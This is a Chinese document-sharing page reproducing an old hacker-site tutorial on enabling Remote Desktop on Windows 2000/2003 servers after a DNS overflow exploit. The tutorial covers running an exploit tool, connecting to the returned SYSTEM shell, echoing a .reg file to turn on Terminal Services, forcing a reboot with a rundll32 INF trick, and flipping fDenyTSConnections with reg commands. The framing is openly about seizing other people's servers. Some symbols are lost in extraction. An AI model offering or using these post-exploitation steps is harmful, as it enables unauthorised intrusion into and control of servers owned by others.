CMD下开启远程桌面服务.doc

上传人:ni****g 文档编号:546184591 上传时间:2023-06-05 格式:DOC 页数:4 大小:31.01KB
返回 下载 相关 举报
CMD下开启远程桌面服务.doc_第1页
第1页 / 共4页
CMD下开启远程桌面服务.doc_第2页
第2页 / 共4页
CMD下开启远程桌面服务.doc_第3页
第3页 / 共4页
CMD下开启远程桌面服务.doc_第4页
第4页 / 共4页
亲,该文档总共4页,全部预览完了,如果喜欢就下载吧!
资源描述

《CMD下开启远程桌面服务.doc》由会员分享,可在线阅读,更多相关《CMD下开启远程桌面服务.doc(4页珍藏版)》请在金锄头文库上搜索。

1、CMD下开启远程桌面服务文章整理发布:黑客风云 内容关注度:24 更新时间:2009-11-4 1:44:32 一、缘起近段时间微软出现的DNS溢出漏洞疯狂了一段时间,就是现在也还有许多服务器可以成功溢出。相信大家都有体验过溢出的经验了吧,嘿嘿。但是当我们溢出成功后,返回得到的就只有一个system权限的cmdshell。要是服务器开启了远程桌面服务,那我们直接加一个用户,再添加进管理员组,就可以登录服务器了。这样的话,拿下存在DNS溢出的服务器只是分秒间的事情。从溢出到得到服务器控制权花不了多少时间。不过,要是服务器本身没有开启远程桌面服务,就相对来说比较麻烦一点了。话虽如此,服务器本身没开

2、,那我们就帮它开嘛,嘿嘿。二、理论在只有一个cmdshell的情况下,可能有不少菜菜不知道如何开启远程桌面服务。不过如果对远程桌面服务比较了解的话,应该知道开启它其实主要就是修改了注册表的某些键值来实现的。如何在cmdshell下修改注册表相关键值呢?根据系统的不同,方法也有些出入。Windows2000的服务器开户远程桌面服务一般都需要重启一次才能生效,Windows2003的服务器开启远程桌面服务就一般都不需要重启,直接更改注册表相关键值即可生效!据网上的资料来看,基本上都是先echo一个*.reg注册表文件,再使用regedit /s *.reg命令导入注册表文件即可,当然2000的话还

3、需要重启才生效。三、实践理论总是理论,不实践过永远都只能是理论。所以我们找了些可以DNS溢出的服务器来做试验,其中有2000系统的也有2003系统的,分别详细说明如何在cmdshell下开启服务器的远程桌面服务。1、2000系统简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是dns.exe,在CMD下运行它可以看到它的使用参数等信息。执行dns -s IP命令检测目标IP是否存在DNS溢出漏洞。在图中我们可以看出目标主机存在DNS溢出漏洞,操作系统为Windows 2000!接着我们进行溢出攻击,执行dns -t 2000all IP 1207后提示要我们检测返回的1100端口的shel

4、l。telnet IP 1100成功得到返回的cmdshell。注意目录为c:WINNTsystem32,顶部也明显可以看到Windows 2000相关字样。接着我们需要做的是使用echo命令写入一个3389.reg注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回车执行: echo Windows Registry Editor Version 5.00 3389.reg echo. 3389.reg echo HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionnetcache 3389.reg echo Enabl

5、ed=0 3389.reg echo HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon 3389.reg echo ShutdownWithoutLogon=0 3389.reg echo HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller 3389.reg echo EnableAdminTSRemote=dword:00000001 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlS

6、etControlTerminal Server 3389.reg echo TSEnabled=dword:00000001 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD 3389.reg echo Start=dword:00000002 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService 3389.reg echo Start=dword:00000002 3389.reg echo HKEY_US

7、ERS.DEFAULTKeyboard LayoutToggle 3389.reg echo Hotkey=1 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp 3389.reg echo PortNumber=dword:00000D3D 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp 3389.reg echo Po

8、rtNumber=dword:00000D3D 3389.reg 简单说明一下,符号是覆盖写入文件,如无此文件则创建,有则覆盖原来的内容写入。是追加写入,即在原有文件内容的基础上在后面写入内容。这里是写入内容到3389.reg文件中!需要注意的是第二行,那个作用是写入一行空格,至于为什么需要这样,那是因为.reg文件的格式必须如此!成功写入完毕后接着执行导入操作,执行regedit /s 3389.reg。这样注册表文件就已经顺利导入到注册表里去了。不过需要注意的是在cmdshell下不要输错任何一个字符,否则将无法执行,建议先自己打好在记事本上,确保无误之后再复制到cmdshell窗口执行。

9、然后需要做的事就是重启了,如何使目标服务器重启呢?和朋友多方测试后,觉得用下面这个方法比较妥当。在cmdshell下执行如下代码: ECHO OFF & cd/d %temp% & echo version out.inf (set inf=InstallHinfSection DefaultInstall) echo signature=$chicago$ out.inf echo defaultinstall out.inf rundll32 setupapi,%inf% 1 %temp%out.inf 按顺序将以上五行代码一行一行地复制到cmdshell上,复制完一行按一次回车执行,五行

10、都执行完毕后,服务器就会重启的了。至于原理什么的我就不废话了。当然了,让服务器重启的方法比较多,比如结束掉系统关键进程、代码模拟按键等都是可以的,不过个人认为上面推荐的这个方法比较保险!如无意外,等待服务器完成重启之后再连接目标发现远程桌面服务已经成功开启了。至此Windows 2000操作系统溢出后返回的cmdshell下开启远程桌面服务就成功完成了。2、2003系统相对于2000的系统来说,2003cmdshell下开启远程桌面服务就比较容易一些了,起码无需重启嘛!第一种方法也是用echo命令写入一个 3389.reg文件,再regedit /s 3389.reg导入注册表文件即可开启,比

11、较简单,与上面介绍的2000的开启方法类似。将如下代码一行一行地复制到cmdshell窗口后按回车执行: echo Windows Registry Editor Version 5.00 3389.reg echo. 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server 3389.reg echo fDenyTSConnections=dword:00000000 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTe

12、rminal ServerWdsrdpwdTdstcp 3389.reg echo PortNumber=dword:00000d3d 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp 3389.reg echo PortNumber=dword:00000d3d 3389.reg 完成以上操作后再执行regedit /s 3389.reg导入即可生效!不过这个方法相对来说比较麻烦,也比较复杂一些。我们还可以用另外一种比较简单的方法来开启远程桌面服务的,

13、嘿嘿。在介绍另一个操作方法之前,我们先来熟悉下2003系统下远程桌面服务的一个最关键的注册表键值。在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server下数值名称为fDenyTSConnections的这一项,可以看到它的数值数据为1或0。数值为1的时候关闭远程桌面服务,数值为0的时候开启远程桌面服务。换句话说,我们只要可以在cmdshell下更改这个关键的注册表键值数据就可以达到实现开启远程桌面服务的目的了!有幸的是,在2003下有一个reg命令完全可以做到这一点,嘿嘿。这里我们找一台操作系统为2003的服务器,通过和

14、上面介绍的同样方法溢出后返回一个cmdshell。当我们尝试连接的时候会发现根本无法连接上去。下面详细说明一下用reg命令开启远程桌面服务。执行:reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server我们发现fDenyTSConnections键值数据为0x1。这个是十六进制数的1。上面提到,数据为1则没有开启远程桌面服务。我们要做的就是把0x1改成0x0!直接用reg add是不行的,必须把原来键值删掉再添加!在cmdshell下执行:reg delete HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server /v fDenyTSConnections会询问是否要删除注册表值 fDenyTSConnections 吗,当然Yes了。再执行:reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server /v fDenyTSConnections /t REG_DWORD /d 0提示操作成功完成,如图9。这样就把fDenyTSConnections的值改为0x0了,

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 生活休闲 > 科普知识

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号